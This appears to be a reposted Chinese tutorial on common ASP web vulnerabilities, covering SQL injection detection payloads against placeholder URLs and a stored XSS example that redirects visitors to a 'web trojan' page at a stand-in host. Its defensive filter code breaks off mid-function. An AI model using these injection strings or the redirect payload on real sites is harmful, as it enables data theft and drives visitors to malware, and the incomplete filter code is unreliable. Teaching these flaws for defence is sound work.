ASP常见漏洞大全 您所在的位置:网站首页 网页漏洞检测方法有哪些 ASP常见漏洞大全

ASP常见漏洞大全

2024-07-16 06:57| 来源: 网络整理| 查看: 265

一、SQL注入漏洞

漏洞简介:

程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

SQL注入漏洞的几种类型:

1、数字型注入漏洞

例如:http://www.test.com/bug.asp?id=11,这个名为“bug.asp”的文件存在有数据提交,提交的参数名为“id”,参数值为“11”,这里提交的值“11”为数字型,执行SQL语句时就类似于:

select * from 表名 where id=11

其中在bug.asp文件中获取客户端提交过来的参数“id”的值的写法一般是这样的:

id=request("id")

如果id变量没有经过充分过滤就直接放入SQL语句中执行的话,那么SQL注入漏洞就产生了!

漏洞检测方法:

提交:

http://www.test.com/bug.asp?id=11 and 1=1 和

http://www.test.com/bug.asp?id=11 and 1=2

查看两次页面的返回结果是否一样。

2、字符型注入漏洞

例如:http://www.test.com/bug2.asp?name=xufang,这个名为“bug2.asp”的文件存在有数据提交,提交的参数名为“name”,参数值为“xufang”,这里提交的值“xufang”为字符型,执行SQL语句时就类似于:

select * from 表名 where name='xufang'

其中在bug2.asp文件中获取客户端提交过来的参数“name”的值的写法一般是这样的:

name=request("name")

如果name变量没有经过充分过滤就直接放入SQL语句中执行的话,那么SQL注入漏洞就产生了!

漏洞检测方法:

提交:http://www.test.com/bug2.asp?name=xufang' and '1'='1 和

http://www.test.com/bug2.asp?name=xufang' and '1'='2

查看两次页面的返回结果是否一样。

3、搜索型注入漏洞

例如:http://www.test.com/bug3.asp?keyword=xhonker,这个名为“bug3.asp”的文件存在有数据提交,提交的参数名为“keyword”,参数值为“xhonker”,执行SQL语句时就类似于:

select * from 表名 where keyword like '%xhonker%'

其中在bug3.asp文件中获取客户端提交过来的参数“keyword”的值的写法一般是这样的:

keyword=request("keyword")

如果keyword变量没有经过充分过滤就直接放入SQL语句中执行的话,那么SQL注入漏洞就产生了!

检测方法:

提交:http://www.test.com/bug3.asp?keyword=xhonker%' and 1=1 and '%'=' 和

http://www.test.com/bug3.asp?keyword=xhonker%' and 1=2 and '%'='

查看两次页面的返回结果是否一样。

注:在SQL注入漏洞的检测中还有另外一种情况,例如:

http://www.test.com/bug4.asp?name=xufang&id=1986

这里bug4.asp同时获取了两个变量“name”和“id”的值,用字符串连接符“&”连接两个参数,有的时候程序员只对其中的一

个变量进行了过滤,而忽略了另外的一个变量,例如这里程序员只对参数“id”的值进行了过滤,而没有对参数“name”的值进行过滤,所以我们就可以将参数“name”和“id”的顺序进行下调换,提交:

http://www.test.com/bug4.asp?id=1986&name=xufang 注入语句

就可以了!

防御方法:

对于数字型注入漏洞,我们可以使用VBScript中的cint()函数将提交过来的参数值进行强制类型转换,例如:

id=cint(trim(request("id")))

对于字符型和搜索型注入漏洞,我们可以编写一个过滤SQL注入关键字的函数,需要时调用该函数即可!

二、跨站脚本攻击漏洞

漏洞简介:

网站对于用户输入的数据过滤不严格,倘若用户输入的数据中含有HTML代码的话,则该代码将会在页面载入时自动运行,一旦输入的数据中含有恶意代码,那么后果将不堪设想!

例如:

某个新闻发布系统的用户评论部分对用户名和E-mail过滤不严格,我们就可以点击某一条新闻,在用户评论部分的用户名处输入“location="http://www.xxx.com/x.htm"”这样的语句,当然你也可以自己构造语句,其中http://www.xxx.com/x.htm为我们存放网页木马的地址。完成后,只要其他浏览网站的用户再点击这条新闻,新闻页面就会自动转向http://www.xxx.com/x.htm。

检测方法:

网站是否有跨站漏洞,我们可以用“alert('xhonker');”这句代码来检测,如果网页弹出了“xhonker”的提示框,则表示有跨站漏洞。

同时我们也可以通过在返回的页面中搜索我们提交的HTML字符,看对方对哪些字符进行了过滤。

防御方法:

我们可以采用下面的函数对用户提交的HTML字符进行过滤:

Public Function FilterHtml(Str)

If Trim(Str)="" or Isnull(str) Then

FilterHtml=""

Else

Str=Replace(Str,">",">")

Str=Replace(Str,"



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有